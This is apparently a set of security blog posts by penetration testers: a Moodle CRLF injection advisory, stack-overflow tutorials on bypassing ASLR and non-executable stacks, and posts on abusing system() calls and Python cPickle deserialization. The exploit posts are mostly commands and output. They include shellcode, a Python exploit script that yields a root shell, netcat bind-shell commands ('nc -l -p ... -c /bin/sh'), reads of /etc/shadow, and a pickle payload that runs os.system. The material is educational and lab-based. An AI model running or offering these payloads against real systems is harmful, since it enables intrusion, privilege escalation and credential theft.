Advisory: CRLF Injection Vulnerability in Moodle.
Hello All,
I was on a web application penetration test, the client was running a course management system called Moodle. I ran through my normal methodology however as this was a piece of open source software I decided to download the source code and review it for bugs.
I hit jackpot and found a vulnerable redirect() function which made a call to the header() function, to do a redirect. However the $url variable passed to the header() function was not being sanitized prior to it’s use. Therefore allowing an attacker to inject artibitary headers and control the way the application functions.
As this was an unreleased bug (0day) I had to come up with a fix for the client, I therefore went down the route of responsible disclosure and disclosed the bug to Moodle security team, who later fixed it rather promptly might I add. During this time I also contacted Mitre to see if I can assign it a CVE. In order for me to do that I had to drop an advisory and so here it is…
Topic: CRLF Injection (HTTP Response Splitting) vulnerability in Moodle.
Severity: Critical
Releases affected: 1.9.14, 2.0.5, 2.1.2, 2.2
Patched Releases: 1.9.15, 2.0.6, 2.1.3
Affected Components: Calendar
Reported and coordinated by: Mike Evans (mike.evans@pentura.com)
Issue Number: MDL-24808
CVE Number: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4203
Description:
Moodle 1.9.14 through to 2.2 is vulnerable to a CRLF Injection Attack that affects: /calendar/set.php and other parts
of the Course Management System that utilise the redirect() function. The problem arises from the lack of sanitization on the $url variable
prior to being used in the following snippet of code:
@header(‘Location: ‘.$url);
This allows for an attacker to inject his own CRLF sequence into an HTTP communication, which gives the attacker the ability to control the way the web application
functions. The amount of attacks that can be leverage from the vulnerability are huge, some of them include; cross site scripting, cross-user defacement, hijacking
of web pages and positioning of the clients web cache. Moodle have been contacted and have fixed this issue.
Solution:
Upgrade to any of the following releases: 1.9.15, 2.0.6, 2.1.3
Quick check of possible malware
Today I found a really useful website that I want to share with you. Sometimes we come to some files that “looks dangerous” and we want to check them. For these cases I always use VirusTotal service, that checks the file against more than 40 antivirus programs. But sometimes this can be really slow… and the queue so long!! And if you are like me, you want the results now!
For those impatient (and a bit adventurous) is a web site name “Find a Hash” that have a database with almost 40k MD5 hashes of files. These are well know files in the default installation of some operating systems or already analysed malware files. We can perform a quick check here while waiting for our VirusTotal check to be completed.
Also looks like you can perform queries using DNS but this is too geeky that I decided not to try by myself, a web interface is enough for me
iKAT – Kiosk Testing webpage
We are starting an interesting week here at Pentura. We are going to be during this week at Infosec where you can find us and ask about our services, some of us will be at BSides London and, last, but not least, the Royal Weeding and holidays for some of us! Lots of places that I’m going to be visiting this week and a new trick I discovered today and I’m going to share with you
When we are travelling, visiting some place or just going to the train station we can see some machines offering internet access after paying some money. These machines need to be tested too and here, at Pentura, we already did a couple of test of kiosk or lock down machines.
The tricks usually are trying to get a command shell, navigate outside of allowed pages or copy/extract files from the hard disk. To achieve this we usually only have a limited desktop and a Internet Explorer browser. The good thing is Internet Explorer is very well integrated in the OS so if we write in the address bar a local resource it’ll be (hopefully) displayed. In the other hand, as it’s a Microsoft product, integrated into a Microsoft OS, it has a lot of Local Policies that can be applied to limit the functionality of the browser.
When doing a test like this you have to try many things that can work but today I discovered a website that can be really useful during this kind of test: iKAT
iKAT is a platform for trying to lunch a file explorer using Open File, Save File, Print, etc dialogues, discover of apps installed in the system, or trying to load Flash, Silverlight or Java applets to get access to different. It’s a compilation of a lot of browser tricks that you should be testing in a kiosk audit. Other tricks in these machines use to be dragging and dropping elements of the interface into the IE window to force the Save as dialog to appear.
I hope this help you in your next security audit! I’ll be saving this for my next challenge
Hey,
Leading on from my previous post where I discussed a method know as ‘ret2reg’ (return to register, or in our case a simple jump to esp) for bypassing ASLR, today I am going to discuss a method known as ‘ret2libc’ (return to libc) to allows us to circumvent the non-executable stack protection.
When exploiting stack based buffer overflows generally speaking you overwrite past the vulnerable buffer and in turn overwrite the function saved return address. So that when the function finishes and returns to whomever called it, you gain control of execution. Usually we subvert the control of execution towards shellcode placed on the stack. In the event of a non-executable stack the program will just segmentation fault and crash. So how do we get around this? Simple, we return into libc and utilize the standard library function ‘system()’ with the argument ‘/bin/sh’ and we shall get a shell that way!
Let’s use the example vulnerable program from the earlier post and re-visit the ASLR bypass that we used to exploit it:
dusty@devbox:~/Code/ASLR$ gcc vuln.c -o vuln -ggdb -fno-stack-protector -z execstack dusty@devbox:~/Code/ASLR$ # Compiled it with -z execstack - turns on executable stackdusty@devbox:~/Code/ASLR$ ./vuln $(perl -e 'print "A" x 112 . "\xf7\x83\x04\x08" . "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"') buffer: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAë▒^1ÀFF ° V Íèãÿÿÿ/bin/sh]. $ exit
So the exploit worked exactly as it did before in the earlier post. Let’s take a look now and see what happens when we re-compile the same code just with a non-executable stack…
dusty@devbox:~/Code/ASLR$ gcc vuln.c -o vuln -ggdb -fno-stack-protector
dusty@devbox:~/Code/ASLR$ # Ok the stack is now non-executable. Let's try the same exploit..
dusty@devbox:~/Code/ASLR$ ./vuln $(perl -e 'print "A" x 112 . "\xf7\x83\x04\x08" . "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"')
buffer: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAë▒^1ÀFF
°
V
Íèãÿÿÿ/bin/sh].
Segmentation fault (core dumped)
dusty@devbox:~/Code/ASLR$ gdb -c core ./vuln -q
Reading symbols from /home/dusty/Code/ASLR/vuln...done.
[New Thread 30581]
warning: Can't read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done.
Loaded symbols for /lib/ld-linux.so.2
Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0xbfa046d0 in ?? ()
(gdb) x/38wx $eip
0xbfa046d0: 0x315e18eb 0x074688c0 0x89087689 0x0bb00c46
0xbfa046e0: 0x4e8d1e8d 0x0c568d08 0xe3e880cd 0x2fffffff
0xbfa046f0: 0x2f6e6962 0xbf006873 0xb7818136 0xb7827ad0
0xbfa04700: 0xb7808b28 0xb77f2ff4 0x00000000 0x00000000
0xbfa04710: 0xbfa04748 0x455d75b5 0xd3c98da4 0x00000000
0xbfa04720: 0x00000000 0x00000000 0x00000002 0x08048340
0xbfa04730: 0x00000000 0xb781dd90 0xb76b0c0b 0xb7826ff4
0xbfa04740: 0x00000002 0x08048340 0x00000000 0x08048361
0xbfa04750: 0x080483fb 0x00000002 0xbfa04774 0x08048450
0xbfa04760: 0x08048440 0xb7818b60
(gdb) quit
dusty@devbox:~/Code/ASLR$
After re-compiling the source without the executable stack option so the stack for the binary is now non-executable. I then proceeded to re-run the payload from the ASLR exploit and as we expected the vulnerable program crashed. If we look at the crash we can see it crashed on our shellcode because it couldn’t execute it If you would like to validate this then I suggest setting a break point on the call to strcpy() and then stepping through the code until it segmentation faults and crashes you’ll see that it lands on the shellcode and because that part of memory isn’t executable it won’t obviously execute our shellcode. For the purpose of keeping this post short and to the point I’ll move on…
Let’s take a look at how we can bypass this:
dusty@devbox:~/Code/ASLR$ ./vuln $(perl -e 'print "A" x 112 . "ABCDBBBBCCCC"') buffer: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDBBBBCCCC]. Segmentation fault (core dumped) dusty@devbox:~/Code/ASLR$ gdb -c core ./vuln Reading symbols from /home/dusty/Code/ASLR/vuln...done. [New Thread 2559] warning: Can't read pathname for load map: Input/output error. Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/ld-linux.so.2 Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x44434241 in ?? () (gdb) p &system $1 = ( *) 0xb7eab680 (gdb) x/100s $esp 0xbffff6d0: "BBBBCCCC" 0xbffff6d9: "\367\377\277H\b\376\267\320\367\377\277\377\377\377\377\364\357\377\267C\20204\b01" 0xbffff6f2: "" *** SNIP *** 0xbffff89a: "./vuln" 0xbffff8a1: 'A' , "BCDBBBBCCCC" 0xbffff91e: "TERM=xterm" 0xbffff929: "SHELL=/bin/bash" 0xbffff939: "XDG_SESSION_COOKIE=1f06f7cf4cf796cb585da53d00000009-1301706321.795727-1768639278" 0xbffffffe: "" (gdb) p &system $2 = ( *) 0xb7eab680 (gdb) quit dusty@devbox:~/Code/ASLR$ ./vuln $(perl -e 'print "A" x 112 . "\x80\xb6\xea\xb7JUNK\x29\xf9\xff\xbf"') buffer: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¶ê·JUNK)ùÿ¿]. Segmentation fault (core dumped) dusty@devbox:~/Code/ASLR$ gdb -c core ./vuln Reading symbols from /home/dusty/Code/ASLR/vuln...done. [New Thread 2568] warning: Can't read pathname for load map: Input/output error. Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/ld-linux.so.2 Core was generated by `./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. #0 0x4b4e554a in ?? () (gdb) p /c 0x4a $1 = 74 'J' (gdb) p /c 0x55 $2 = 85 'U' (gdb) p /c 0x4e $3 = 78 'N' (gdb) p /c 0x4b $4 = 75 'K' (gdb) bt #0 0x4b4e554a in ?? () #1 0xbffff929 in ?? () Backtrace stopped: previous frame inner to this frame (corrupt stack?) (gdb) x/x 0xbffff929 0xbffff929: 0x4c454853 (gdb) x/s 0xbffff929 0xbffff929: "SHELL=/bin/bash" (gdb) x/s 0xbffff929+6 0xbffff92f: "/bin/bash" (gdb) # Let's use this address: 0xbffff92f (gdb) quit dusty@devbox:~/Code/ASLR$ ./vuln $(perl -e 'print "A" x 112 . "\x80\xb6\xea\xb7JUNK\x2f\xf9\xff\xbf"') buffer: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¶ê·JUNK/ùÿ¿]. dusty@devbox:~/Code/ASLR$ # Yay, it dropped us into /bin/sh, watch me exit out of it nowdusty@devbox:~/Code/ASLR$ exit exit Segmentation fault (core dumped) dusty@devbox:~/Code/ASLR$ # The core dump will have crashed on JUNK as that's the return address.. exploit successful
dusty@devbox:~/Code/ASLR$
Excellent, it worked! So, what happened?
Well, first the structure of the overwrite is like so:
[Address of &system][4 Byte Junk][System's Arguments ('/bin/sh')]
We are overwriting the saved return address with the address of system() function so that when main returns it returns into libc and executes system(‘/bin/sh’). This then drops us a shell and we bypass non-executable stack.
For further reading on the topic I highly recommend the following paper:
The Advanced return-into-lib(c) Exploits
Again, if you have any questions, comments or feedback please leave me some comments. I have tried to skim over the detail quite a bit because after all this is just a blog. What I am trying to do is encourage questions from the readers and I will do my best to answer them. I don’t want to get bogged down in too much detail in the main post because it is so easy to do and then I might as well just write a white paper..
I look forward to you’re comments..
Hey,
So this is the second post in the series of vulnerability development posts I plan to make. Today we are going to focus on a simple technique used to bypass Address Space Layout Randomization (ASLR). All examples of code have been compiled on a machine with the following specifications:
dusty@devbox:~/Code/ASLR$ lsb_release -a; uname -ar; gcc --version; gdb --version Distributor ID: Ubuntu Description: Ubuntu 10.10 Release: 10.10 Codename: maverick Linux devbox 2.6.35-28-generic-pae #49-Ubuntu SMP Tue Mar 1 14:58:06 UTC 2011 i686 GNU/Linux gcc (Ubuntu/Linaro 4.4.4-14ubuntu5) 4.4.5 GNU gdb (GDB) 7.2-ubuntu dusty@devbox:~/Code/ASLR$
Let’s take a look and make sure that ASLR is infact being utilized:
dusty@devbox:~/Code/ASLR$ cat /proc/sys/kernel/randomize_va_space
2
dusty@devbox:~/Code/ASLR$ ldd ./vuln
linux-gate.so.1 => (0xb78d3000)
libc.so.6 => /lib/libc.so.6 (0xb7764000)
/lib/ld-linux.so.2 (0xb78d4000)
dusty@devbox:~/Code/ASLR$ ldd ./vuln
linux-gate.so.1 => (0xb78ab000)
libc.so.6 => /lib/libc.so.6 (0xb773c000)
/lib/ld-linux.so.2 (0xb78ac000)
dusty@devbox:~/Code/ASLR$ ldd ./vuln
linux-gate.so.1 => (0xb7781000)
libc.so.6 => /lib/libc.so.6 (0xb7612000)
/lib/ld-linux.so.2 (0xb7782000)
dusty@devbox:~/Code/ASLR$
As you can see from the above ASLR is indeed being utilized. Let’s take a look at some code:
dusty@devbox:~/Code/ASLR$ cat vuln.c #include #include // hard coded jmp *esp functionvoid jmpesp() { __asm__("jmp *%esp"); } int main(int argc, char *argv[]) { char buffer[100]; strcpy(buffer, argv[1]); printf("buffer: [%s].\n", buffer); return 0; } dusty@devbox:~/Code/ASLR$ gcc vuln.c -o vuln -ggdb -fno-stack-protector -z execstack dusty@devbox:~/Code/ASLR$
This is a simple and contrived example yet again, but it serves its purpose. In larger programs you will generally find instructions like jmp *esp which we can utilize to bypass ASLR. I have placed the jmpesp() function there so that I can show you how to utilize it when exploiting this bug, as we wouldn’t normally find it in such a small binary.
It is a classic buffer overflow, argv[1] is copied to ‘buffer’ without bounds checking. We overwrite past the end of ‘buffer’ in turn overwriting the saved return address of main() so that when main() returns we control execution. We will make it return to our jmp *esp and have the esp register contain our shellcode. Let’s take a look at this in action:
dusty@devbox:~/Code/ASLR$ objdump -d ./vuln | grep 'ff e4' 80483f7: ff e4 jmp *%esp dusty@devbox:~/Code/ASLR$ gdb -q ./vuln Reading symbols from /home/dusty/Code/ASLR/vuln...done. (gdb) set disassembly-flavor intel (gdb) disass main Dump of assembler code for function main: 0x080483fb : push ebp 0x080483fc : mov ebp,esp 0x080483fe : and esp,0xfffffff0 0x08048401 : add esp,0xffffff80 0x08048404 : mov eax,DWORD PTR [ebp+0xc] 0x08048407 : add eax,0x4 0x0804840a : mov eax,DWORD PTR [eax] 0x0804840c : mov DWORD PTR [esp+0x4],eax 0x08048410 : lea eax,[esp+0x1c] 0x08048414 : mov DWORD PTR [esp],eax 0x08048417 : call 0x8048314 0x0804841c : mov eax,0x8048500 0x08048421 : lea edx,[esp+0x1c] 0x08048425 : mov DWORD PTR [esp+0x4],edx 0x08048429 : mov DWORD PTR [esp],eax 0x0804842c : call 0x8048324 0x08048431 : mov eax,0x0 0x08048436 : leave 0x08048437 : ret End of assembler dump. (gdb) b *0x08048437 Breakpoint 1 at 0x8048437: file vuln.c, line 15. (gdb) # I set a break point on the ret instruction. (gdb) (gdb) run $(perl -e 'print "A" x 112 . "\xf7\x83\x04\x08" . "B" x 36') Starting program: /home/dusty/Code/ASLR/vuln $(perl -e 'print "A" x 112 . "\xf7\x83\x04\x08" . "B" x 36') buffer: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB]. Breakpoint 1, 0x08048437 in main (argc=Cannot access memory at address 0x41414149 ) at vuln.c:15 15 } (gdb) x/i 0x08048437 => 0x8048437 : ret (gdb) # OK so we are at our breakpoint, we have overwritten past 'buffer' and overwritten the return address of main, lets see what happens... (gdb) (gdb) ni Cannot access memory at address 0x41414145 (gdb) i r esp eip esp 0xbffff460 0xbffff460 eip 0x80483f7 0x80483f7 (gdb) x/x 0xbffff460 0xbffff460: 0x42424242 (gdb) # Excellent, as you can see EIP contains the address of our jmpesp. ESP points to our string of B's which is where we will place our shellcode(gdb)
OK, first of all we used objdump to get the address of our ‘jmp *esp’. Then I loaded up GDB and set a break point on main()’s return. I then gave the program a payload with place holders:
run $(perl -e 'print "A" x 112 . "\xf7\x83\x04\x08" . "B" x 36')
I fill the buffer with 112 A’s (junk basically) and then I pass the address of our ‘jmp *esp’ in little endian format which overwrites the return address and this is where execution jumps to. At that location we know ‘jmp *esp’ resides and the processor then jumps to the esp register and execute what resides there. We step over the instruction in GDB using ‘ni’ and look at the esp register which contains our string of B’s (0×42424242). Let’s try this again with shellcode and see what happens, lets change the user to a normal user and change the binary to setuid
dusty@devbox:~/Code/ASLR$ ./vuln $(perl -e 'print "A" x 112 . "\xf7\x83\x04\x08" . "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"')
buffer: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAë▒^1ÀFF
°
V
Íèãÿÿÿ/bin/sh].
# id
uid=1000(dusty) gid=1000(dusty) euid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(dusty)
# whoami
root
#
I replaced the B’s with shellcode, and it gave us a root shell
This simple ‘jmp *esp’ trick allows us to bypass the restrictions of exploiting buffer overflows when ASLR is enabled.
Here is a simple Python script I wrote that exploits the vulnerability:
dusty@devbox:~/Code/ASLR$ cat exploit.py
#!/usr/bin/env python
import struct
import subprocess
print "[*] Exploiting..."
junk = "\x41" * 112
jmpesp = struct.pack("<I", 0x080483f7);
shellcode = "\xeb\x18\x5e\x31\xc0\x88\x46\x07" \
"\x89\x76\x08\x89\x46\x0c\xb0\x0b" \
"\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c" \
"\xcd\x80\xe8\xe3\xff\xff\xff\x2f" \
"\x62\x69\x6e\x2f\x73\x68"
payload = junk + jmpesp + shellcode
subprocess.call(["./vuln", payload])
dusty@devbox:~/Code/ASLR$ python exploit.py
[*] Exploiting...
buffer: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAë▒^1ÀFF
°
V
Íèãÿÿÿ/bin/sh].
# whoami;id
root
uid=1000(dusty) gid=1000(dusty) euid=0(root) egid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare),1000(dusty)
#
Izik wrote a very interesting paper on other tricks such as ret2ret, ret2pop, ret2eax, etc.. which can be used to bypass ASLR, it is worth a read and you can find it here:
Smack The Stack – Advanced Buffer Overflow Methods
If you have any questions, comments or even feedback regarding the topic discussed please leave a comment!
The next post will discuss how to bypass the non-executable stack (NX).
How To Decode BIG IP F5 Persistence Cookie Values
Hey Guys,
I came across a BIG IP F5 Load balancer when doing a recent web application penetration test. The interesting thing about this load balancer was the cookie value:
Name BIGipServerLive_pool
Value 110536896.20480.0000
Path /
Secure No
Expires At End Of Session
As you can see the cookie value looks rather suspicious, lets see if we can reverse it! I came across the following page with a plethora of information regarding this particular cookie, it is well worth a read:
Overview of BIG-IP persistence cookie encoding
After reading that it was quite clear to me that the cookie value was an encoded IP and Port value. I wrote a quick Python script to help me decode the cookie value as the ones I found on the net were poorly written and didn’t work. Here is the code and an example run:
#!/usr/bin/env python
# example string: 110536896.20480.0000
import struct
import sys
if len(sys.argv) != 2:
print "Usage: %s encoded_string" % sys.argv[0]
exit(1)
encoded_string = sys.argv[1]
print "\n[*] String to decode: %s\n" % encoded_string
(host, port, end) = encoded_string.split('.')
(a, b, c, d) = [ord(i) for i in struct.pack("<I", int(host))]
print "[*] Decoded IP: %s.%s.%s.%s.\n" % (a,b,c,d)
Then when you run the program:
root@bt:~/bigip# python bigip.py 110536896.20480.0000 [*] String to decode: 110536896.20480.0000 [*] Decoded IP: 192.168.150.6. root@bt:~/bigip#
Hopefully this will come in handy for someone out there
Fun with System() and I/O Redirection…
Hey,
I have seen a few wargame levels now that require you to do funky stuff with IO redirection and thought it would make an interesting blog post. For more information about IO redirection please see:
I don’t know whether you’re familiar with the late Unreal IRCd source being backdoored? More information can be found here:
Well the hackers had placed a system() function in there so that when the attacker connected to the IRC server and issued the following command:
/AB; Command
It would allow them remote command execution on the IRC server itself. Well this is all good and well but everyone knows the system() function sends it output to STDOUT and therefore will not be sent back through the network socket to the client, so the attacker needs to do some funky tricks with I/O redirection. This has been made into a wargame level at Smash The Stack, I won’t say which game I’m sure you can figure that out. So I created a simple Python program to demostrate this issue. Here is the code:
#!/usr/bin/env python
import socket
import os
PORT = 123456
def handle_connections(c, addr):
print "Connection from: ", addr[0]
c.sendall("Hello [%s].\n" % addr[0])
c.sendall('Enter command for system: ')
command = c.recv(1024)
c.sendall("Executing command: %s" % command)
os.system(command)
c.sendall('Command executed, exiting..\n')
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", PORT))
s.listen(5)
while 1:
(c, addr) = s.accept()
handle_connections(c, addr)
c.close()
OK, let’s see what happens when we run this program normally. It binds to port 123456, sits awaiting connections, when a client connects it asks for a command to pass to /bin/sh the output of said command will be echoed to the server side console. It is a very contrived example but serves the purpose, let’s see it in action:
Client Side:
root@bt:~# nc 0 123456 Hello [127.0.0.1]. Enter command for system: uptime You want me to execute: uptime Command executed, exiting.. root@bt:~#
Server Side:
root@bt:~# python system.py Connection from: 127.0.0.1 22:28:19 up 3:56, 1 user, load average: 0.63, 0.70, 0.70
OK, got the idea? Imagine, if this was a daemon on a remote host utilizing the system() function somewhere in it’s code. Let’s take a look at how we can utilize bash’s input output redirection to abuse this:
root@bt:~# echo -e "uname -ar 1>&4" | nc 0 123456 Hello [127.0.0.1]. Enter command for system: You want me to execute: uname -ar 1>&4 Linux bt 2.6.35.8 #1 SMP Sun Nov 14 06:32:36 EST 2010 i686 GNU/Linux Command executed, exiting.. root@bt:~# echo -e "cat /etc/shadow | head -n 5 | grep -v 'root' 1>&4" | nc 0 123456 Hello [127.0.0.1]. Enter command for system: You want me to execute: cat /etc/shadow | head -n 5 | grep -v 'root' 1>&4 daemon:x:14592:0:99999:7::: bin:x:14592:0:99999:7::: sys:x:14592:0:99999:7::: sync:x:14592:0:99999:7::: Command executed, exiting.. root@bt:~# echo -e "nc -l -p 67676 -c /bin/sh 1>&4" | nc 0 123456 Hello [127.0.0.1]. Enter command for system: You want me to execute: nc -l -p 67676 -c /bin/sh 1>&4
So what did I do here.. well first of all I echoed the command ‘uname -ar’ which displays system information and redirected its standard output to the socket’s file descriptor so that it gets sent back to the client and the attacker can read the information, this is done using the bash input output redirection trick: ’1>&4′. 1 meaning STDOUT and 4 is the client that connects to the socket. You can see this information under /proc:
root@bt:~# ls -la /proc/18442/fd/ total 0 dr-x------ 2 root root 0 Mar 17 22:33 . dr-xr-xr-x 7 root root 0 Mar 17 22:33 .. lrwx------ 1 root root 64 Mar 17 22:33 0 -> /dev/pts/4 lrwx------ 1 root root 64 Mar 17 22:33 1 -> /dev/pts/4 lrwx------ 1 root root 64 Mar 17 22:33 2 -> /dev/pts/4 lrwx------ 1 root root 64 Mar 17 22:33 3 -> socket:[279138] <--- This is the daemons file descriptor. root@bt:~#
18442 is the PID for the Python daemon, and as you can see file descriptor 3 is linked to the daemons socket, what the attacker needs to do is redirect its output via file descriptor 4, when a client connects to the daemon you will see a fourth file descriptor in the above directory. So if we redirect the output it gets displayed to the client (attacker) like we saw above. Finally, I managed to get the daemon to execute:
nc -l -p 67676 -c /bin/sh
Which gives the attacker remote access to the server in a much more convenient manner, as you can see here:
root@bt:~# echo "uptime" | nc 0 67676 22:59:50 up 4:28, 1 user, load average: 0.65, 0.72, 0.72 root@bt:~#
I hope from this you can see the value of I/O redirection
Until the next time…
Python cPickle: Allows For Arbitrary Code Execution
Hello All,
I was passing some time playing one of our new wargames at Smash The Stack called Amateria and came across something I’ve not really looked at before, Python’s cPickle library it allows for some interesting fun when unpickling untrusted data over a socket or any network communication.
Basically cPickle is a library that enables Python to perform object serialization. Pickling and unpickling are the terms used in the Python community to describe serialization and deserialization respectively. If you are unfamiliar with these terms then I suggest taking a look over the following documentation:
PyMOTW: pickle and cPickle
Pickle — Python Object Serialization
Onto the fun stuff… and what better way to start than with a nice little example:
root@bt:~# python
Python 2.5.2 (r252:60911, Oct 5 2008, 19:24:49)
[GCC 4.3.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import cPickle
>>> exploit = "cos\nsystem\n(S'cat /etc/shadow | head -n 5'\ntR.'\ntR."
>>> cPickle.loads(exploit)
root:$6$m7ndoM3p$JRVXomVQFn/KlkVbjFqCcjlMAD31QlCtoHnoWiE95Fx8Vvwkc8KH81DEePpjycglYiX98usSoESUnml3e6Nlf.:14951:0:99999:7:::
daemon:x:14592:0:99999:7:::
bin:x:14592:0:99999:7:::
sys:x:14592:0:99999:7:::
sync:x:14592:0:99999:7:::
0
>>>
OK, so what happened here? Before I explain, let’s have a look at another example that might help clarify what is going on here:
>>> import pickletools
>>> print pickletools.dis(exploit)
0: c GLOBAL 'os system'
11: ( MARK
12: S STRING 'cat /etc/shadow | head -n 5'
43: t TUPLE (MARK at 11)
44: R REDUCE
45: . STOP
highest protocol among opcodes = 0
None
>>>
As you can see it loads the module os, calls the system function with the command: “cat /etc/shadow | head -n 5″, and that is why the first 5 lines of the shadow file were echoed back to our prompt. So we can construct pickled data and pass that to cPickle.loads it basically executes our commands in the context of the user that python runs as, this is interesting.. I won’t delve too much into this as I don’t want to spoil the wargame level but I just thought it was a handy little trick to have in you’re arsenal
Let’s take a look at another little example shall we to see the power of this:
root@bt:~# python
Python 2.5.2 (r252:60911, Oct 5 2008, 19:24:49)
[GCC 4.3.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import cPickle
>>> import pickletools
>>> exploit = "cos\nsystem\n(S'/bin/nc -l -p 56758 -c /bin/sh'\ntR.'\ntR."
>>> pickletools.dis(exploit)
0: c GLOBAL 'os system'
11: ( MARK
12: S STRING '/bin/nc -l -p 56758 -c /bin/sh'
46: t TUPLE (MARK at 11)
47: R REDUCE
48: . STOP
highest protocol among opcodes = 0
>>> cPickle.loads(exploit)
Now if we turn to another terminal and type: ‘echo -e “cat /etc/passwd” | nc 0 56758′ we should see something like this:
root@bt:~# echo -e "cat /etc/passwd" | nc 0 56758
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
messagebus:x:104:113::/var/run/dbus:/bin/false
avahi:x:105:114:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
polkituser:x:106:116:PolicyKit,,,:/var/run/PolicyKit:/bin/false
haldaemon:x:107:117:Hardware abstraction layer,,,:/var/run/hald:/bin/false
mysql:x:108:118:MySQL Server,,,:/var/lib/mysql:/bin/false
miredo:x:109:65534::/var/run/miredo:/bin/false
stunnel4:x:110:119::/var/run/stunnel4:/bin/false
miredo-server:x:111:65534::/var/run/miredo-server:/bin/false
smmta:x:112:120:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:113:121:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
dhcpd:x:114:122::/nonexistent:/bin/false
clamav:x:115:124::/var/lib/clamav:/bin/false
nstxd:x:116:65534::/var/run/nstxd:/bin/false
ntop:x:117:125::/var/lib/ntop:/bin/false
